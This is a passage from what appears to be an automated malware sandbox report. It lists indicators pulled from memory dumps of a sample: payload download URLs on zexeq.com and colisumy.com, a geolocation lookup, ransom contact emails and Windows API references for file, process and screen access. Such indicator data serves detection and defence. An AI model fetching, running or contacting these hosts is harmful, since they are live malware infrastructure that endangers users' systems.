"exeq.com" Pattern match: "http://schemas.microsoft.com/windows/2004/02/mit/task" Pattern match: "zexeq.com/raud/get.php?pid=8422da40e95d01a98042b9973519e352" Pattern match: "http://zexeq.com/raud/get.php?pid=8422da40e95d01a98042b9973519e352&first=true" Pattern match: "http://colisumy.com/dl/build2.exe" Pattern match: "http://zexeq.com/files/1/build3.exe$run" Heuristic match: "2ip.ua" Heuristic match: "*.2ip.ua" Pattern match: "http://colisumy.com/dl/build2.exe$run" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1$0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1!0" Heuristic match: "host: api.2ip.ua" Pattern match: "http://colisumy.com/" Pattern match: "http://www.microsoft.com0" Heuristic match: "host: zexeq.com" Pattern match: "oft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-0y|" Pattern match: "http://zexeq.com/" Pattern match: "exeq.com/raud/get.php?pid=8422da40e95d01a98042b9973519e352&first=true" Pattern match: "zexeq.com/files/1/build3.exe" Pattern match: "https://we.tl/t-slaqrb9n6e" Heuristic match: "support@freshmail.top" Heuristic match: "datarestorehelp@airmail.cc" Pattern match: "http://zexeq.com/files/1/build3.exe" Pattern match: "zexeq.com/files/1/build3.exe$run" Pattern match: "https://we.tl/t-slaqrb9n" Pattern match: "we.tl/t-slaqrb9n6e" Heuristic match: "l.top" Heuristic match: ":w.uy" Heuristic match: "ystem.activityhistory.id" Heuristic match: "ystem.appusermodel.id" Heuristic match: "ystem.identityprovider.name" Heuristic match: "ystem.protocol.name" Heuristic match: "ystem.sam.name" Heuristic match: "ystem.structuredquery.is" Heuristic match: "ystem.structuredquery.virtual.cc" Heuristic match: "ystem.structuredquery.virtual.to" Heuristic match: "cres.re" Heuristic match: ":\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.re"50:T314c,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003720.00000000.155055.03010000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005660.00000000.157622.03560000.00000004.mdmp") Found URL "https://api.2ip.ua/geo.jsontime" - Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp") Found URL "http://https://shell32.dll" - Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp") Found URL "http://zexeq.com/raud/get.php!this" - Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp") Found URL "http://www.openssl.org/support/faq.htmlsetct-certreqtbexsetct-certrestbesetct-crlnotificationtbssetct-crlnotificationrestbssetct-bcidistributiontbssetext-gencryptgeneric" - Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp") Found URL "http://zexeq.com/raud//build2.execolisumy.com/dl/build2.exe:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe3f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323:\users\hapubws\appdata\local\microsoft\windows\history\history.ie5:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.execolisumy.com:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe??\c:\users\hapubws\appdata\local\microsoft\windows\inetcache\iey323:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323:\users\hapubws\appdata\local\microsoft\windows\iecompatcache\:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exemicrosoft" - Source: "00000000-00006816.00000000.156167.00690000.00000004.mdmp") Found URL "https://api.2ip.ua/geo.jsontime" - Source: "00000000-00006816.00000001.158086.00400000.00000040.mdmp") Found URL "http://https://shell32.dll" - Source: "00000000-00006816.00000001.158086.00400000.00000040.mdmp") Found URL "http://zexeq.com/raud/get.php-----begin" - Source: "00000000-00006816.00000001.158086.00400000.00000040.mdmp") Found URL "http://www.openssl.org/support/faq.htmlsetct-certreqtbexsetct-certrestbesetct-crlnotificationtbssetct-crlnotificationrestbssetct-bcidistributiontbssetext-gencryptgeneric" - Source: "00000000-00006816.00000001.158086.00400000.00000040.mdmp") Found URL "http://zexeq.com/raud//build2.execolisumy.com/dl/build2.exe:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe3f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exebb6ea983fc583c3d9d71280b69d603640f2ca6c42b888e894ef5636292eca27e:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exec:\programdata\microsoft\windows\start" - Source: "00000000-00006816.00000001.158086.00690000.00000004.mdmp") Found URL "https://we.tl/t-slaqrb9n6eprice" - Source: "00000000-00006816.00000001.158086.05AA0000.00000004.mdmp") Found URL "https://we.tl/t-slaqrb9njj^>price" - Source: "00000000-00006816.00000001.158086.05AA0000.00000004.mdmp") Found URL "https://we.tl/t-slaqrb9n6epric" - Source: "00000000-00006816.00000001.158086.05AA0000.00000004.mdmp") Found URL "https://api.2ip.ua/geo.jsontime" - Source: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found URL "http://https://shell32.dll" - Source: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found URL "http://zexeq.com/raud/get.php-----begin" - Source: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found URL "http://www.openssl.org/support/faq.htmlsetct-certreqtbexsetct-certrestbesetct-crlnotificationtbssetct-crlnotificationrestbssetct-bcidistributiontbssetext-gencryptgeneric" - Source: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found URL "https://we.tl/t-slaqrb9n6eprice" - Source: "00000000-00006816.00000002.160006.05AA0000.00000004.mdmp") Found URL "https://we.tl/t-slaqrb9njj^>price" - Source: "00000000-00006816.00000002.160006.05AA0000.00000004.mdmp") Found URL "https://we.tl/t-slaqrb9n6epric" - Source: "00000000-00006816.00000002.160006.05AA0000.00000004.mdmp") Found URL "https://api.2ip.ua/geo.jsontime" - Source: "00000000-00007352.00000000.158796.00400000.00000040.mdmp") Found URL "http://https://shell32.dll" - Source: "00000000-00007352.00000000.158796.00400000.00000040.mdmp") Found URL "http://www.openssl.org/support/faq.htmlsetct-certreqtbexsetct-certrestbesetct-crlnotificationtbssetct-crlnotificationrestbssetct-bcidistributiontbssetext-gencryptgeneric" - Source: "00000000-00007352.00000000.158796.00400000.00000040.mdmp") Found URL "https://api.2ip.ua/geo.jsont" - Source: "00000000-00007352.00000000.158796.00780000.00000004.mdmp") Found URL "https://api.2ip.ua/geo.jsonhttps://api.2ip.ua/geo.jsonhttps://api.2ip.ua/geo.jsonhttps://api.2ip.ua/geo.jsonw9iqmgvw,czcnew" - Source: "00000000-00007352.00000000.158796.00780000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007352.00000000.158796.00780000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00007352.00000000.158796.00780000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0," (Indicator: "aes"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "Diffie-Hellman routines" (Indicator: "diffie-hellman"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "ecdsa" (Indicator: "ecdsa"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "ECDSA_CHECK" (Indicator: "ecdsa"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "ECDSA_DATA_NEW_METHOD" (Indicator: "ecdsa"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "ECDSA_do_sign" (Indicator: "ecdsa"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "ECDSA_do_verify" (Indicator: "ecdsa"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "ECDSA_sign_setup" (Indicator: "ecdsa"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "AESNI_INIT_KEY" (Indicator: "aes"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")55:Tfa4,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00003720.00000000.155055.03010000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00003720.00000000.155055.03010000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00003720.00000000.155055.03010000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00003720.00000000.155055.03010000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00003720.00000000.155055.03010000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00003720.00000000.155055.03010000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00003720.00000000.155055.03010000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00003720.00000000.155055.03010000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005660.00000000.157622.03560000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005660.00000000.157622.03560000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00005660.00000000.157622.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005660.00000000.157622.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005660.00000000.157622.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005660.00000000.157622.03560000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00005660.00000000.157622.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005660.00000000.157622.03560000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "CreateDCA" (Indicator: "CreateDC"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")56:T1288,Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "83684137593,4584,3116,,FindFirstFileW,kernel32.dll,"00:41:10.000",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83869792845,4584,3118,,FindNextFileW,kernel32.dll,"00:41:10.078",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83837487108,4584,3118,,FindNextFileW,kernel32.dll,"00:41:10.078",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83837554218,4584,3118,,FindNextFileW,kernel32.dll,"00:41:10.078",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83751118726,4584,3118,,FindNextFileW,kernel32.dll,"00:41:10.031",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83868421087,4584,3118,,FindNextFileW,kernel32.dll,"00:41:10.078",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83716281025,4584,3118,,FindNextFileW,kernel32.dll,"00:41:10.015",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83869720775,4584,3118,,FindNextFileW,kernel32.dll,"00:41:10.078",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83778494755,4584,3118,,FindNextFileW,kernel32.dll,"00:41:10.046",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83714931848,4584,3118,,FindNextFileW,kernel32.dll,"00:41:10.015",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83836152151,4584,3118,,FindNextFileW,kernel32.dll,"00:41:10.078",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83683007881,4584,3118,,FindNextFileW,kernel32.dll,"00:41:10.000",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83716378283,4584,3118,,FindNextFileW,kernel32.dll,"00:41:10.015",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "83869455223,4584,3116,,FindFirstFileW,kernel32.dll,"00:41:10.078",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00006816.00000001.158086.05B34000.00000004.mdmp") Found reference to API "76185882556,4584,3118,,FindNextFileW,kernel32.dll,"00:41:06.875",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05CF0000.00000004.mdmp") Found reference to API "76248580415,4584,3118,,FindNextFileW,kernel32.dll,"00:41" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05CF0000.00000004.mdmp"), Found reference to API "76164726060 4584 3118 FindNextFileW kernel32.dll "00:41" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05CF0000.00000004.mdmp") Found reference to API "76205912927,4584,3118,,FindNextFileW,kernel32.dl" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000001.158086.05CF0000.00000004.mdmp") Found reference to API "103942850183,4584,3118,,FindNextFileW,kernel32.dll,"00:41:18.453",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00006816.00000002.160006.05B31000.00000004.mdmp")57:T1039,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "Module32Next" (Indicator: "Module32Next"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")58:T7c4,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")59:Td7b,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetFileInformationByHandleExW" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "PathFindFileNameW" (Indicator: "PathFindFileName"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 